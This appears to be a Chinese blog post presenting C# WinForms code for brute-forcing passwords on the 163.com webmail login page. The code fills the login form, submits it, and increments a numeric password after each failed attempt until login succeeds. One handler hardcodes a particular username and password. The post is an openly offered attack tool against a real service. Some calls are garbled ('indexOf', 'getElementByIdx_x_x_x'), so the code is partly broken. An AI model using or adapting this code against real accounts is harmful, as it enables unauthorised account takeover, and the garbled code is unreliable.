c#暴力破解网站密码简单实现

暴力破解网站密码

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.IO;

namespace ReadNetPage
{
public partial class Form1 : Form
{
public int password1 = 000000;
public Form1()
{
InitializeComponent();
}

WebBrowser webBrowser1 = new WebBrowser();
private void webBrowser1_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)
{
#region 参数设置
HtmlElement btnSubmit = webBrowser1.Document.All["login"]; //获取登录对应元素
HtmlElement tbUserid = webBrowser1.Document.All["login_name"]; //获取用户名对应元素
HtmlElement tbStyle = webBrowser1.Document.All["style"]; //获取版本对应元素
HtmlElement tbPasswd = webBrowser1.Document.All["login_password"]; //获取密码对应元素
if (tbUserid == null || tbPasswd == null )
return;
tbUserid.SetAttribute("value", username.Text); //给用户名赋值
tbPasswd.SetAttribute("value", password1.ToString()); //给密码赋值
tbStyle.Children[Convert.ToInt32(txtstyle.Text)].SetAttribute("selected", "selected");//设置版本
btnSubmit.InvokeMember("click"); //模拟点击登录按钮
#endregion

}

//在确定按钮的响应函数btnOK_Click中添加如下代码：

private void btnOK_Click_1(object sender, EventArgs e)
{
bool check =true;
int kcount = 0;
string uuu = "http://email.163.com/";


while ( check==true)
{
webBrowser1.DocumentCompleted += new WebBrowserDocumentCompletedEventHandler(webBrowser1_DocumentCompleted);
webBrowser1.Navigate(uuu);
while ( webBrowser1.ReadyState != WebBrowserReadyState.Complete)
{
Application.DoEvents();
}


while (webBrowser1.Document.Url.ToString() ==uuu)
{
Application.DoEvents();
kcount++;
}

if (webBrowser1.Document.Url.ToString().indexOf("http://email.163.com/errorpage/err_163.htm?errorType")>=0)
{
password1++;
userpassword.Text = password1.ToString();
}
else
{
check = false;
}
}//while
webBrowser2.Url = webBrowser1.Url;
MessageBox.Show(webBrowser1.Document.Url.ToString()+" "+kcount.ToString());

}

private void button2_Click(object sender, EventArgs e)
{
string url = "http://email.163.com/";
WebBrowser ber = new WebBrowser();
ber.Navigate(new Uri(url));
while (ber.ReadyState != WebBrowserReadyState.Complete)
{
Application.DoEvents();
}
ber.document.getElementByIdx_x_x_x("login_name").InnerText = "lj669888";//fill name
ber.document.getElementByIdx_x_x_x("login_password").InnerText = "000000";//fill pwd
HtmlElement formLogin = ber.Document.Forms["FrontPage_Form1"];
formLogin.InvokeMember("submit");

HttpWebRequest request = WebRequest.Create(url) as HttpWebRequest;
request.Method = "GET";
request.KeepAlive = false;

// 接收返回的页面
HttpWebResponse response = request.GetResponse() as HttpWebResponse;

System.IO.Stream responseStream = response.GetResponseStream();
System.IO.StreamReader reader = new System.IO.StreamReader(responseStream, Encoding.Default);
string srcString = reader.ReadToEnd();

MessageBox.Show(srcString);

}

}

}